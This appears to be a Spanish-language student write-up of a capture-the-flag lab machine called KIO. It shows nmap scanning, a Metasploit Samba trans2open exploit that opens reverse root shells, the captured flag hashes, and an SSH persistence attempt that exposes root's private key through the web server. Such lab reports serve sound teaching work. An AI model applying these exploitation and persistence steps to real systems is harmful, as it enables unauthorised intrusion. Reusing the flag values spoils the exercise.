

	Informe de análisis de vulnerabilidades, explotación y resultados del reto KIO.				
	Fecha Emisión	Fecha Revisión	Versión	Código de documento	Nivel de Confidencialidad
	10/04/2024	xx/xx/2023	1.0	MQ-HM-KIO	RESTRINGIDO



Informe de análisis de vulnerabilidades,
explotación y resultados del reto KIO.

N.- MQ-HM-KIO

Generado por:
David Ossa Saldarriaga.

Fecha de creación:
10.04.2024

Índice

1. Reconocimiento	3
2. Análisis de vulnerabilidades/debilidades	4
3. Explotación	4
Automatizado	4
Manual	5
4. Escalación de privilegios si/no	5
5. Banderas	5
6. Herramientas usadas	6
7. EXTRA Opcional	6
8. Conclusiones y Recomendaciones	6

1. Reconocimiento

La máquina objetivo es la que tiene dirección IP 192.168.40.130 debido a que por descarte es la única viable al momento de ejecutar el comando arp-scan

```
(hmsstudent@kali)-[~/Documents/reto1-kio/192.168.40.130]
$ cat logarpscan.txt
Interface: eth0, type: EN10MB, MAC: 00:0c:29:e4:ee:e8, IPv4: 192.168.40.129
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.40.1    00:50:56:c0:00:08    VMware, Inc.
192.168.40.2    00:50:56:ed:83:9f    VMware, Inc.
192.168.40.130  00:0c:29:ac:20:42    VMware, Inc.
192.168.40.254  00:50:56:fb:6e:02    VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.038 seconds (125.61 hosts/sec). 4 responded
```

Procedemos a realizar un análisis completo de puertos en la máquina objetivo con el fin de validar puertos abiertos, servicios e incluso versiones.

```
(hmsstudent@kali)-[~/Documents/reto1-kio/192.168.40.130]
$ cat lognmap.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-10 16:36 EDT
NSE: Loaded 46 scripts for scanning.
Initiating ARP Ping Scan at 16:36
Scanning 192.168.40.130 [1 port]
Completed ARP Ping Scan at 16:36, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:36
Completed Parallel DNS resolution of 1 host. at 16:36, 0.04s elapsed
Initiating SYN Stealth Scan at 16:36
Scanning 192.168.40.130 [65535 ports]
Discovered open port 22/tcp on 192.168.40.130
Discovered open port 80/tcp on 192.168.40.130
Discovered open port 139/tcp on 192.168.40.130
Discovered open port 443/tcp on 192.168.40.130
Discovered open port 111/tcp on 192.168.40.130
Discovered open port 1024/tcp on 192.168.40.130
Completed SYN Stealth Scan at 16:37, 6.91s elapsed (65535 total ports)
Initiating Service scan at 16:37
Scanning 6 services on 192.168.40.130
Completed Service scan at 16:37, 11.03s elapsed (6 services on 1 host)
NSE: Script scanning 192.168.40.130.
Initiating NSE at 16:37
Completed NSE at 16:37, 0.08s elapsed
Initiating NSE at 16:37
Completed NSE at 16:37, 0.22s elapsed
Nmap scan report for 192.168.40.130
Host is up (0.0013s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https    Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp  open  status       1 (RPC #100024)
MAC Address: 00:0C:29:AC:20:42 (VMware)

Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.70 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

***** SOLO PARA USO EDUCATIVO*****

N.- MQ-HM-KIO

IP, Puertos Sistema operativo

IP	192.168.40.130
Sistema Operativo	Linux Red-Hat
Puertos/Servicios	22 ssh 80 Apache http 111 rpcbind 139 samba 443 Apache Https

2. Análisis de vulnerabilidades/debilidades

Se realizó análisis de vulnerabilidades con la herramienta Nessus y con uso de scripts por medio de nmap

```

(hmsstudent@kali) [~/Documents/reto1-kio/192.168.40.130]
$ msfconsole
Metasploit tip: Set the current module's RHOSTS with database values using
hosts -R or services -R

IIIIII      dTb.dTb
II          4'  v  '8
II          6,   ,P
II          'T;  ,;P'
II          'T;  ;P'
IIIIII      'vvp'

      .
     . .
    . . .
   . . . .
  . . . . .
 . . . . .
. . . . .

I love shells --egypt

      =[ metasploit v6.4.1-dev ]
-- --=[ 2407 exploits - 1239 auxiliary - 422 post ]
-- --=[ 1468 payloads - 47 encoders - 11 nops ]
-- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search samba 2.2.0

Matching Modules

#  Name                                                                 Disclosure Date   Rank  Check  Description
-  -
0  exploit/freebsd/samba/trans2open                                     2003-04-07      great No     Samba trans2open Overflow (*BSD x86)
1  exploit/linux/samba/trans2open                                       2003-04-07      great No     Samba trans2open Overflow (Linux x86)
2  exploit/osx/samba/trans2open                                         2003-04-07      great No     Samba trans2open Overflow (Mac OS X PPC)
3  exploit/solaris/samba/trans2open                                     2003-04-07      great No     Samba trans2open Overflow (Solaris SPARC)
4  \_ target: samba 2.2.x - Solaris 9 (sun4u) - Bruteforce              .               .      .      .
5  \_ target: samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce           .               .      .      .

Interact with a module by name or index. For example info 5, use 5 or use exploit/solaris/samba/trans2open
After interacting with a module you can manually set a TARGET with set TARGET 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce'

msf6 >

```

[illegible]

Puerto	Vulnerabilidad
80	Apache
443	openssl

3. Explotación

***** SOLO PARA USO EDUCATIVO*****

N.- MQ-HM-KIO

Proceso manual/ automatizado.

Automatizado

```
msf6 exploit(tlinux/samba/trans2open) > exploit

[*] Started reverse TCP handler on 192.168.40.129:4444
[*] 192.168.40.130:139 - Trying return address 0xbffffdfc ...
[*] 192.168.40.130:139 - Trying return address 0xbffffcfc ...
[*] 192.168.40.130:139 - Trying return address 0xbffffbfc ...
[*] 192.168.40.130:139 - Trying return address 0xbffffafc ...
[*] 192.168.40.130:139 - Trying return address 0xbffff9fc ...
[*] 192.168.40.130:139 - Trying return address 0xbffff8fc ...
[*] 192.168.40.130:139 - Trying return address 0xbffff7fc ...
[*] 192.168.40.130:139 - Trying return address 0xbffff6fc ...
[*] Command shell session 1 opened (192.168.40.129:4444 → 192.168.40.130:1112) at 2024-04-10 22:58:40 -0400

[*] Command shell session 2 opened (192.168.40.129:4444 → 192.168.40.130:1113) at 2024-04-10 22:58:41 -0400
[*] Command shell session 3 opened (192.168.40.129:4444 → 192.168.40.130:1114) at 2024-04-10 22:58:42 -0400
[*] Command shell session 4 opened (192.168.40.129:4444 → 192.168.40.130:1115) at 2024-04-10 22:58:43 -0400

whoami
root
hostname
kio-kid
```

4. Banderas

Bandera1	684d0624c19cac22a44a8413795368b9
Bandera2	c9b2db2dbe3d8e65485c6c348785a760
Bandera3	9699a2a93f0d7eeb172dca2de51d3db2

5. Herramientas usadas

Nmap	..
dirb	..
Metaexploit	..
searchsploit	
ssh	

6. EXTRA Opcional

Traté de realizar persistencia por medio de SSH.

1. Generé un par de llaves ssh desde la máquina KIO en el usuario root.
2. Para poder usar la llave privada la moví hacia el directorio de /manual/mod/ que está abierto para revisar desde la página web
3. Modifiqué los permisos sobre el archivo para poder descargar la llave y usarla desde mi máquina local.
4. Habilité la conexión remota para el usuario root en la configuración de SSH (En máquina KIO)
5. Reinicié el servicio de SSH (En máquina KIO)
6. Realicé las configuraciones en mi máquina local pero obtuve un error de incompatibilidad de cifrado entre la versión de ssh en mi máquina local y la máquina de KIO. Debido a la restricción de tiempo no fue posible realizar troubleshooting de esta situación.

7. Conclusiones y Recomendaciones

***** SOLO PARA USO EDUCATIVO*****

N.- MQ-HM-KIO

- 1) La máquina Kio cuenta con varias vulnerabilidades principalmente en su servicio web ya que la versión de http y de ssl están muy desactualizadas.
- 2) El servicio de Samba en su versión 2.2.0 tiene una gran vulnerabilidad que permite tomar el control con privilegios elevados sobre un sistema.